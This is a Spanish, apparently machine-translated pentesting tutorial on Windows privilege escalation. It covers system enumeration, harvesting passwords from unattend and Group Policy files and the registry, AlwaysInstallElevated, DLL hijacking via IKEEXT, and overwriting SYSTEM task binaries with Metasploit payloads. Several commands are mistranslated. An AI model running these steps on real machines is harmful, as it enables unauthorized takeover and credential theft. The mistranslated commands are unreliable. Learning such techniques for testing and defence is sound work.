Conceptos básicos de escalada de privilegios de Windows

Decidí por mí mismo y para aquellos que lo encontrarían útil, recopilar todo lo que sé, pero no recuerdo sobre el tema, en este artículo. Comparte consejos. La fuente principal de este artículo es esta .

Traduje libremente y agregué un poco de mí mismo, lo que reuní y aprendí de otras fuentes.

En general, aquí hay formas de ayudarnos a lograr nuestro objetivo de escalada de privilegios.

El punto de partida para este breve artículo es un shell (cuenta) sin privilegios. Quizás usamos un exploit o realizamos un ataque y obtuvimos este shell.

Básicamente, en el momento inicial, no entendemos la máquina: qué hace, a qué está conectada, qué nivel de privilegios tenemos o incluso qué sistema operativo es.

Primero, necesitamos obtener la información que necesitamos para comprender dónde estamos y qué tenemos:

systeminfo | findstr /B /C:" " /C:" " 

Este comando le permite determinar, como puede ver en él, el nombre y la versión del sistema operativo. Puede ejecutarlo sin parámetros, luego la salida del comando será más completa, pero esto es suficiente para nosotros.

A continuación, es importante averiguar el nombre de la máquina y el nombre de usuario con el que estamos conectados.

  • hostname es el nombre de usuario.
  • echo% username% - nombre de usuario.

A continuación, veamos qué usuarios siguen en este host y obtengamos información más detallada sobre su usuario.

  • usuarios netos - otros usuarios
  • net user user1: información detallada sobre el usuario, donde user1 es el nombre de su usuario.

Habiendo recibido información sobre la cuenta, veremos información sobre la interacción de red de este host.

Primero, eche un vistazo a las interfaces disponibles y la tabla de enrutamiento.

  • ipconfig / all: información sobre las interfaces disponibles.
  • ruta de impresión - tabla de enrutamiento
  • arp -A - tabla de entradas arp

A continuación, veremos las conexiones de red activas y las reglas de firewall.

  • netstat -ano: conexiones de red activas.

-a: el inicio con este parámetro muestra todas las conexiones TCP activas, así como los puertos TCP y UDP escuchados por el sistema;
-n: el parámetro le permite mostrar conexiones TCP activas con direcciones y números de puerto;
-o: al igual que la clave anterior, muestra las conexiones TCP activas, pero los códigos de proceso se agregan a las estadísticas, ya es posible determinar exactamente qué aplicación usa la conexión.

  • estado del firewall de netsh show - estado del firewall
  • netsh firewall show config - configuración del firewall

Finalmente, examinamos brevemente qué funciona en un host comprometido: tareas programadas, procesos en ejecución, servicios en ejecución y controladores instalados.

 schtasks /query /fo LIST /v 

donde
/ query: muestra datos sobre todas las tareas programadas,
/ fo LIST - Lista de salida.
/ v - Imprimir detalles del trabajo.

El siguiente comando asocia procesos en ejecución con servicios en ejecución.

 tasklist /SVC 

donde
/ SVC: servicios de mapeo para cada proceso.

Consulte también una lista de los servicios de Windows en ejecución.

 net start 

También es útil ver información sobre los controladores de un sistema comprometido.

 DRIVERQUERY 

A continuación, quiero mencionar sobre probablemente el comando de Windows más útil: wmic. El comando WMIC (Comando de instrumentación de administración de Windows) se utiliza para obtener información sobre el hardware y el sistema, administrar procesos y sus componentes, y cambiar la configuración utilizando las capacidades de Instrumental de administración de Windows (Instrumental de administración de Windows o WMI). Buena descripcion .

Desafortunadamente, algunas configuraciones de Windows no permiten el acceso a WMIC de manera predeterminada si el usuario no es miembro del grupo de Administradores (lo cual es una muy buena idea). Cualquier versión de XP no permitía el acceso a WMIC desde una cuenta sin privilegios.

En contraste, Windows 7 Professional y Windows 8 Enterprise permitieron a los usuarios con bajos privilegios usar WMIC de manera predeterminada.

Como de costumbre - parámetros del programa:

 wmic /? 

Un buen guión para recopilar información a través de wmic.

Antes de continuar, vale la pena revisar la información recopilada. También vale la pena prestar atención a los parches instalados en el sistema, ya que cualquier información sobre los agujeros en el sistema nos dará soporte adicional para aumentar nuestros privilegios. HotFix puede buscar vulnerabilidades de escalada de privilegios.

A continuación, consideraremos una instalación desatendida. Si es necesario instalar y configurar una gran flota de máquinas, entonces, por regla general, el personal técnico no se moverá de una máquina a otra para configurar cada una de ellas. Existen varias soluciones para la instalación desatendida. No es tan importante para nosotros cuáles son estos métodos y cómo funcionan, pero lo que importa es que dejan los archivos de configuración que se utilizan para el proceso de instalación que contienen mucha información confidencial, como la clave del producto del sistema operativo y la contraseña del administrador. Lo que más nos interesa es la contraseña de administrador, que podemos usar para aumentar nuestros privilegios.

Como regla general, estos son los siguientes directorios:

  • c: \ sysprep.inf
  • c: \ sysprep \ sysprep.xml
  • % WINDIR% \ Panther \ Unattend \ Unattended.xml
  • % WINDIR% \ Panther \ Unattended.xml

Pero vale la pena revisar todo el sistema.

Estos archivos contienen contraseñas en texto claro o codificadas en BASE64.
Ejemplos:

Sysprep.inf: contraseña en texto sin cifrar.

"

Sysprep.xml: contraseña codificada en base64.

"

Unattended.xml: contraseña codificada en base64.



Además, para los hosts conectados al dominio, puede buscar el archivo Group.xml, que contiene la contraseña cifrada AES256, pero que puede descifrarse, porque la clave se publica en msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) y otras fuentes. Pero este es el caso si se usa la política de crear usuarios locales en hosts o, por ejemplo, establecer una contraseña para un administrador local.

Por ejemplo, tengo aquí:



Una vez abierto, estamos buscando el parámetro "cpassword".



A continuación, debe descifrar esta secuencia. Usamos, por ejemplo, CrypTool . Primero, decodifica Base64.
Las características de Base64 son que su longitud debe ser un múltiplo de 4. Por lo tanto, consideramos bloques de 4, y si no hay suficientes caracteres en el último bloque, agregamos los caracteres que faltan con "=".
Tengo 2 "=".



A continuación lo desciframos. Usando la tecla de arriba.



Eliminamos los puntos extra que separan los caracteres y obtenemos la contraseña.

Además de Group.xml, aquí hay algunos otros archivos de preferencias de políticas que pueden tener un conjunto adicional de atributos de cPassword:

  • Services \ Services.xml
  • ScheduledTasks \ ScheduledTasks.xml
  • Impresoras \ Impresoras.xml
  • Drives \ Drives.xml
  • DataSources \ DataSources.xml

Sin embargo, a todos nos encantan las soluciones automatizadas, por lo que podemos llegar a la línea de meta lo más rápido posible. Aquí hay dos opciones principales, según el tipo de shell / acceso que tengamos. Hay un módulo metasploit que se puede ejecutar a través de una sesión establecida (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) o puede usar Get-GPPPassword, que es parte de PowerSploit .

De acuerdo, el siguiente. Buscaremos el extraño parámetro de registro "AlwaysInstallElevated". Esta opción permite a los usuarios sin privilegios instalar archivos .msi desde NT AUTHORITY \ SYSTEM.

Para poder usar esto, debemos verificar que ambas claves de registro estén instaladas y, de ser así, podemos obtener un shell de SYSTEM. Comprobar:

 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 

 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated 

Metasploit incluye un módulo especial exploit / windows / local / always_install_elevated, que crea un archivo MSI con un archivo ejecutable especial incorporado, que el instalador extrae y ejecuta con privilegios del sistema. Después de su ejecución, el archivo msi detiene la instalación para evitar el registro de acciones en el sistema. Además, si comienza la instalación con el modificador / quiet, ni siquiera recibirá un error.

Bueno, algunos comandos de búsqueda útiles en el sistema:

El siguiente comando buscará en el sistema de archivos nombres de archivo que contengan palabras clave específicas. Puede especificar cualquier cantidad de palabras clave.

 dir /s *pass* == *cred* == *vnc* == *.config* 

Al buscar tipos de archivo específicos por palabra clave, este comando puede generar muchos resultados.

 findstr /si password *.xml *.ini *.txt 

Del mismo modo, los dos comandos a continuación se pueden utilizar para seleccionar el registro de palabras clave, en este caso, "contraseña".

 reg query HKLM /f password /t REG_SZ /s 

 reg query HKCU /f password /t REG_SZ /s 

Por el momento, ya tenemos suficiente para poner en marcha el sistema. Pero hay un par de ataques más dirigidos para obtener el resultado deseado: analizaremos los servicios y permisos de Windows para archivos y carpetas. Nuestro objetivo aquí es utilizar permisos débiles para mejorar los privilegios de sesión.

Comprobaremos muchos derechos de acceso, accesschk.exe, que es una herramienta de Microsoft Sysinternals Suite, nos ayudará con esto. Microsoft Sysinternals contiene muchas herramientas excelentes. El paquete se puede descargar desde el sitio web de Microsoft Technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Podemos verificar el nivel de privilegio requerido para cada servicio usando accesschk.

Podemos ver los permisos que tiene cada nivel de usuario.



Accesschk puede verificar automáticamente si tenemos acceso de escritura a un servicio de Windows con un nivel de usuario específico. Como regla general, como usuario con bajos privilegios, queremos verificar los "Usuarios". Asegúrese de verificar a qué grupos de usuarios pertenece.

-c El nombre es un servicio de Windows, por ejemplo ssdpsrv (especifique "*" para mostrar todos los servicios)
-d Solo procesa directorios
-e solo muestra los niveles de integridad especificados explícitamente (solo Windows Vista)
-k El nombre es una clave de registro, por ejemplo, hklm \ software
-n Mostrar solo objetos que no tienen reglas de acceso
-p El nombre o identificador de proceso (PID) se especifica como el nombre, por ejemplo cmd.exe (especifique "*" como nombre para mostrar todos los procesos)
-q Omitir encabezado
-r Imprimir solo objetos que tienen acceso de lectura
-s Procesamiento recursivo
-v Imprimir información detallada
-w Lista solo los objetos que tienen acceso de escritura



También hay otro comando interesante:

 autorunsc.exe -a | findstr /n /R "File\ not\ found" 

Le permite encontrar una entrada de registro sobre un archivo que se inició automáticamente, pero que ya falta en el sistema. El registro podría permanecer si, por ejemplo, el servicio se eliminó incorrectamente. En cada inicio, el sistema intenta ejecutar este archivo sin éxito. También puede aprovechar esta situación para ampliar su autoridad. Simplemente sustituya este archivo por el nuestro.

A continuación, consideramos dos vulnerabilidades:

Primero: replicar los resultados de una publicación escrita por Parvez de GreyHatHacker; "Elevar los privilegios explotando los permisos de carpetas débiles" (http://www.greyhathacker.net/?p=738).

Este ejemplo es un caso especial de secuestro de dll. Los programas generalmente no pueden funcionar por sí solos, tienen muchos recursos que necesitan para conectarse (principalmente dll, pero también sus propios archivos). Si un programa o servicio descarga un archivo de un directorio en el que tenemos acceso de escritura, podemos abusar de él para iniciar un shell con privilegios bajo los cuales se ejecuta el programa.

Por lo general, una aplicación de Windows usará rutas de búsqueda predefinidas para encontrar el archivo dll, y verificará estas rutas en un orden específico. El secuestro de Dll generalmente ocurre colocando dlls maliciosos a lo largo de una de estas rutas. Este problema se puede solucionar indicando a la aplicación rutas absolutas a la dll requerida.

Orden de búsqueda de dll:

  1. El directorio desde el que se ejecuta la aplicación.
  2. Directorio del sistema de 32 bits (C: \ Windows \ System32)
  3. Directorio del sistema de 16 bits (C: \ Windows \ System)
  4. Directorio de Windows (C: \ Windows)
  5. Directorio de trabajo actual (CWD)
  6. Directorios en la variable de entorno PATH (sistema luego usuario)

A veces, las aplicaciones intentan descargar archivos dll que faltan en la máquina. Esto puede suceder por varias razones, por ejemplo, si la biblioteca dll solo es necesaria para ciertos complementos o componentes que no están instalados. En este caso, Parvez descubrió que algunos servicios de Windows están intentando cargar bibliotecas dll que no existen en la configuración predeterminada.

Como el dll no existe, terminamos recorriendo todas las rutas de búsqueda. Como usuario con un nivel de privilegio bajo, tenemos pocas posibilidades de colocar una dll maliciosa en los elementos 1-4, 5. Pero si tenemos acceso de escritura a cualquiera de los directorios, entonces nuestras posibilidades de ganar son grandes.

Veamos cómo funciona en la práctica, para nuestro ejemplo utilizaremos el servicio IKEEXT (IPSec IKE y módulos de clave AuthIP) que intenta descargar wlbsctrl.dll.

Cualquier directorio en "C: \" proporcionará acceso de escritura para usuarios autenticados, esto nos da una oportunidad.

 C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" 

 C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL 

 C:\Users\user1\Desktop> icacls "C:\Python27" 

 C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C 

F - acceso completo.
(OI) - herencia por objetos.
(CI) - herencia por contenedores.
(IO) - solo herencia.
(NP): prohibición de la distribución de la herencia.
(I): hereda los permisos del contenedor principal.

Antes de continuar con la acción, debe verificar el estado del servicio IKEEXT. ¡En este caso, podemos ver que está configurado en "AUTO_START"!

 sc qc IKEEXT 

 [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem 

¡Ahora sabemos que tenemos las condiciones necesarias, y podemos crear un dll malicioso e interceptar el shell!

Usamos Metasploit -> msfvenom, por ejemplo.



Después de transferir evil.dll a nuestra computadora de destino, todo lo que tenemos que hacer es cambiarle el nombre a wlbsctrl.dll y moverlo a "C: \ Python27". Una vez hecho esto, debemos esperar pacientemente a que la máquina se reinicie (o podemos intentar forzar el reinicio), y obtendremos el shell del sistema.

 copy evil.dll C:\Python27\wlbsctrl.dll 

Después de eso, solo queda esperar a que el sistema se reinicie.

Para nuestro último ejemplo, consideraremos las tareas planificadas. Describiré el principio, porque Todos pueden tener diferentes casos.

Encontramos el proceso, servicio, aplicación lanzada por el programador de tareas de SYSTEM.
Verificamos los derechos de acceso a la carpeta donde se encuentra nuestro objetivo.

 accesschk.exe -dqv "__" 

Está claro que este es un problema de configuración grave, pero lo peor es el hecho de que cualquier usuario autenticado (usuario autenticado) tiene acceso de escritura a esta carpeta. En este ejemplo, simplemente podemos sobrescribir el ejecutable binario con el archivo generado por metasploit.

Se puede codificar opcionalmente.



Ahora todo lo que queda es descargar el archivo ejecutable malicioso y sobrescribirlo en la carpeta del archivo ejecutable. Una vez hecho esto, podemos irnos a la cama de manera segura y hacer una caminata sistémica temprano en la mañana.

Estos dos ejemplos deberían darnos una idea de las vulnerabilidades que deben buscarse al considerar los permisos para archivos y carpetas. Tomará tiempo aprender todas las rutas de binpath para servicios de Windows, tareas programadas y tareas de ejecución automática.

Finalmente, un par de consejos para usar accesschk.exe.

Encuentre todos los permisos débiles para carpetas en el disco.

 accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ 

Encuentre todos los permisos débiles para archivos en disco.

 accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* 

Como todo

Source: https://habr.com/ru/post/es418441/


All Articles